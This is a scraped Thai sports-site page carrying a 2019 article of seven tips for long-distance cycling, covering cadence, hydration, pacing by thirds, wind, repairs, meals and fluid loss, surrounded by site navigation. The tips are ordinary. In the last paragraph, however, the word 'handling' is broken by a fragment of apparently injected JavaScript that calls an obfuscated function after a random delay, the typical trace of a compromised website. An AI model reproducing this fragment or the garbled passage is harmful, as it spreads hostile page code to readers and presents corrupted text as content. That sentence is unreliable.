• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ไม่บอกไม่รู้ 7 อย่างที่ต้องเจอเวลาปั่น Long-Distance

kan by kan
20 May 2019
in Cycling Tips
0
ไม่บอกไม่รู้ 7 อย่างที่ต้องเจอเวลาปั่น Long-Distance
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ด้วยระยะทางที่เพิ่มขึ้น แน่นอนว่าการเตรียมตัว เทคนิค การรักษาสมดุลและอาหารพร้อมกับกลยุทธ์การจัดการจึงเป็นเรื่องที่ตามตัวมาด้วย การฝึกซ้อมเองเพื่อสร้างความแข็งแกร่งก็จำเป็นที่จะต้องสร้างขึ้นให้ครอบคลุมระยะทางปั่นที่ต้องการ ถ้าเราฝึกซ้อมปั่นจักรยานช่วงวันหยุดเป็นประจำอยู่แล้ว เราแนะนำให้มีวันที่ปั่นกินเวลา 2 ชั่วโมงสักหนึ่งวัน และถ้ามีเวลา 8 สัปดาห์ก่อนการปั่นยาว 100 กิโลเมตร เราแนะนำให้ บวกสักครึ่งชั่วโมง (30 นาที) ในการปั่น 2 ชั่วโมงนั้น เราจะค่อยๆ สร้างความแข็งแกร่งเพื่อพร้อมกับ long-distance ride

ไม่บอกไม่รู้ 7 อย่างที่ต้องเจอเวลาปั่น Long-Distance

1. Pedal smart เล่นรอบรักษาแรงให้มากที่สุด เพราะการเล่นรอบจะทำให้น้ำหนักการปั่นลดลง การใช้แรงกล้ามเนื้อที่มากขึ้น จะทำให้เกิดอาการเหมื่อยล้าเร็วขึ้น เพราะฉะนั้นกรรักษารอบการปั่นจะทำให้น้ำหนักการกดบันไดลดลง เบามากขึ้น เน้นการใช้งานระบบ Aerobic ให้มากขึ้น และรอบการปั่นที่แนะนำจะอยู่ที่ 90 rpm

ระหว่างการปั่นยาว อย่าคิดว่ามันจะเป็นทางราบเรียบเสมอต้นจนจบ เราจะต้องเจอกับเนินเขาประปราย ดังนั้นลดเกียร์ลดความเร็วเพื่อการรักษารอบการปั่นจึงเป็นเรื่องธรรมดา

2. ระวังการดื่มน้ำและการ Refuel ให้ดี โดยตั้งเป้าหมายการดื่มน้ำ 1 ขวดทุกๆ 1 ชั่วโมง ถ้าอากาศร้อนหรือออกแรงมากกว่าเดิม ก็อาจจะต้องดื่มมากขึ้นกว่าเดิม และน้ำอาจจะมีผสมผงเกลือแร่บ้างก็ได้ นอกจากนั้น อย่าลืม refuel โดยกัดสักชิ้นสองชิ้น ทุกๆ 15 นาที  

ทันทีที่การปั่นกินเวลาเกิน 1 ชั่วโมง น้ำและอาหารจะกลายเป็นเรื่องสำคัญมาก การปั่นจักรยานจำเป็นต้องการอาหารมาสันดาปเป็นพลังงานขับเคลื่อนและต้องการน้ำและเกลือแร่เพื่อการหล่อเลี้ยง ระบายความร้อนและช่วยป้องกันอาการชนกำแพงและเป็นตะคริว

3. ใช้กฎสามส่วนหรือ Rule of thirds นั้นคือแบ่งระยะทางปั่นออกเป็น สามส่วน ส่วนแรกคือการ วอร์มอัพ เน้นการปั่นสบายๆ ช่วงที่สองคือการทำงานจริง กล้ามเนื้อขาคุณจะเริ่มรับ workload ที่มากขึ้น และส่วนที่สาม ถ้ายังมีพลังงานเหลือก็ใส่ให้หมด หรือถ้าไม่ไหว กลยุทธ์คือการประคองตัวเพื่อให้รอดตัวจนจบ ซึ่งท่องไว้ว่า หากช่วงที่สาม แรงเราไม่น่าเหลือเพื่อทำเวลาหรือความเร็วได้มากกว่านี้แล้ว “Survival not performance”

4. ดูทิศทางลมให้ดี ถ้าได้ลมช่วยส่งก็จะไปได้เร็วขึ้นและเซฟพลังงานได้ดี แต่เมื่อปะทะกับลม จงดเกียร์เพื่อรักษารอบการปั่น รักษาพลังงานไว้

5. เรื่องร้ายๆ มันต้องเกิดขึ้น อย่างเช่น ล้อรั่วหรือหกล้ม ดังนั้นเบสิคการซ่อมจักรยานและการปฐมพยาบาลเบื้องต้นจึงเป็นเรื่องที่ควรเรียนรู้ นอกากนี้ควรมีอุปกรณ์สื่อสารหรือเงินสดติดตัวมาบ้าง เผื่อเหตุฉุกเฉินจริงๆ เราจะได้มีการติดต่อทันท่วงที

6. ดูอาหารมื้อให้ดี กินพอประมาณ หากกินมากเกินไป ร่างกายจะดึงพลังงานส่วนหนึ่งไปช่วยกระเพราะย่อย โปรตีนและไขมันดีสำหรับการ recovery แต่สำหรับอาหาร Pre-race มันจะใช้เวลาย่อยนาน ดังนั้นในวันที่จะต้องปั่นไกล วางแผนอาหารมื้อเช้า เน้นคาร์โบไฮเดรตย่อยง่าย อย่างผลไม้ ธัญพืชและขนมปัง Whole grain เป็นต้น

7. ปั่นระยะทางไกล ไม่ได้ทำให้น้ำหนักลดลงทันที ถ้าน้ำหนักที่หายไปสัก 1-2 กิโลกรัมก็อย่าเพิ่งดีใจ เพราะ นั้นคือการสูญเสียของเหลวในร่างกาย สาเหตุจากการจัดการเรื่องน้ำและอาหารระหว่างปั่นไม่ดีพอ ซึ่งจะทำให้เกิดอาการขาดน้ำอย่างรุนแรงได้

สำหรับใครที่พร้อมสำหรับการปั่น long-distance เรายังมีทิปง่ายๆ ที่จะช่วยผ่อนคลายร่างกายคุณได้อีก อย่างเช่น การปรับเปลี่ยนอิริยาบถบ้าง เปลี่ยนตำแหน่งจับ handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling ทำการยืดคอและไหล่ระหว่างปั่นครั้งละ 5-10 วินาทีเป็นระยะๆ หรือจะยืนปั่น ยืนตัวตรงเพื่อยืดเหยียดก็ได้ อย่านั่งท่าเดียวจนจบ

อ้างอิง   www.bicycling.com blog.mapmyrun.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.